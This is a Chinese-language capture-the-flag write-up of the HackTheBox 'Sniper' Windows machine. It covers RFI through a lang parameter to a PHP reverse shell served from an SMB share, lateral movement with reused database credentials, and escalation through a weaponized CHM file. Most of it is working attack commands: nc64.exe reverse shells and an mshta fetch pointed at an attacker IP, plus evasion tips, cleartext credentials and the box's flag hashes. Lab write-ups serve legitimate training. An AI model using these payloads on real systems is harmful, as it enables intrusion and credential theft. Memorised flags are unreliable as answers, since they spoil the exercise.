[Meachines] [Medium] Sniper RFI包含远程SMB+ powershell用户横向+CHM武器化权限提升
字数 1256 2025-08-20 18:18:10
Sniper RFI漏洞利用与权限提升技术分析
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.151 --min-rate 1000 -sC -sV -Pn
发现开放端口:
- 80/tcp: Microsoft IIS httpd 10.0
- 135/tcp: Microsoft Windows RPC
- 139/tcp: Microsoft Windows netbios-ssn
- 445/tcp: microsoft-ds
- 49667/tcp: Microsoft Windows RPC
1.2 Web目录枚举
使用Feroxbuster进行目录扫描:
feroxbuster --url http://10.10.10.151/
2. 远程文件包含(RFI)漏洞利用
2.1 验证RFI漏洞
通过修改lang参数测试文件包含:
curl 'http://10.10.10.151/blog/?lang=/windows/win.ini'
2.2 准备SMB共享
使用Impacket设置SMB共享服务器:
impacket-smbserver share /tmp/ -smb2support
2.3 PHP反向Shell
使用修改版的PHP反向Shell脚本(基于pentestmonkey的php-reverse-shell):
<?php
// 完整的PHP反向Shell代码
class Shell {
// ... 省略类实现 ...
}
echo '<pre>';
$sh = new Shell('127.0.0.1', 9000); // 修改为攻击者IP和端口
$sh->run();
unset($sh);
echo '</pre>';
?>
2.4 触发RFI执行
通过SMB共享触发PHP反向Shell:
http://10.10.10.151/blog/?lang=\\10.10.16.9\share\shell.php
3. 横向移动
3.1 获取数据库凭据
在Web目录发现数据库凭据文件:
C:\inetpub\wwwroot\user\db.php
内容:
username: dbuser
password: 36mEAhz/B8xQ~2VM
3.2 验证凭据
使用CrackMapExec验证凭据:
crackmapexec smb 10.10.10.151 -u chris -p '36mEAhz/B8xQ~2VM'
3.3 PowerShell横向移动
使用PowerShell进行横向移动:
$user = "Sniper\Chris"
$pass = "36mEAhz/B8xQ~2VM"
$secstr = New-Object -TypeName System.Security.SecureString
$pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
# 执行命令
Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
# 建立反向Shell
Invoke-Command -ScriptBlock { \\10.10.16.9\share\nc64.exe -e powershell.exe 10.10.16.9 10033 } -Credential $cred -Computer localhost
4. 权限提升(CHM武器化)
4.1 准备工作
-
下载并安装HTML Help Workshop:
- 下载地址:https://archive.org/details/htmlhelp
-
获取Nishang的Out-CHM.ps1脚本:
- GitHub地址:https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
4.2 创建恶意CHM文件
# 设置执行策略
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
# 导入模块
Import-Module .\Out-CHM.ps1
# 创建恶意CHM文件
Out-CHM -Payload "/Docs/nc64.exe -e cmd 10.10.16.9 10034" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
4.3 替代方法:无文件落地反向Shell
使用koadic进行无文件落地攻击:
Out-CHM -Payload "powershell.exe /c mshta http://10.10.16.9:9999/MkvTv" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
4.4 执行恶意CHM
将生成的CHM文件复制到目标机器并执行:
copy \\10.10.16.9\share\nc64.exe .
copy \\10.10.16.9\share\doc.chm .
5. 关键文件位置
- 用户flag:
User.txt-bb3a48f141bbd9655f1a6b7ab5ddf738 - 系统flag:
Root.txt-9f260cba125a007077d26b18f1a5028d
6. 技术要点总结
-
RFI漏洞利用:通过修改lang参数实现远程文件包含,利用SMB共享执行恶意PHP代码
-
横向移动技术:
- 通过数据库配置文件泄露凭据
- 使用PowerShell Credential对象和Invoke-Command执行远程命令
- 通过SMB共享传输nc.exe建立反向Shell
-
CHM武器化提权:
- 使用Nishang的Out-CHM.ps1创建恶意CHM文件
- CHM文件可以执行任意命令,包括反向Shell
- 提供无文件落地的替代方案(koadic)
-
规避检测:
- 使用SMB共享传输工具避免直接下载
- 无文件落地技术减少痕迹
- 使用合法工具(HTML Help Workshop)生成恶意文件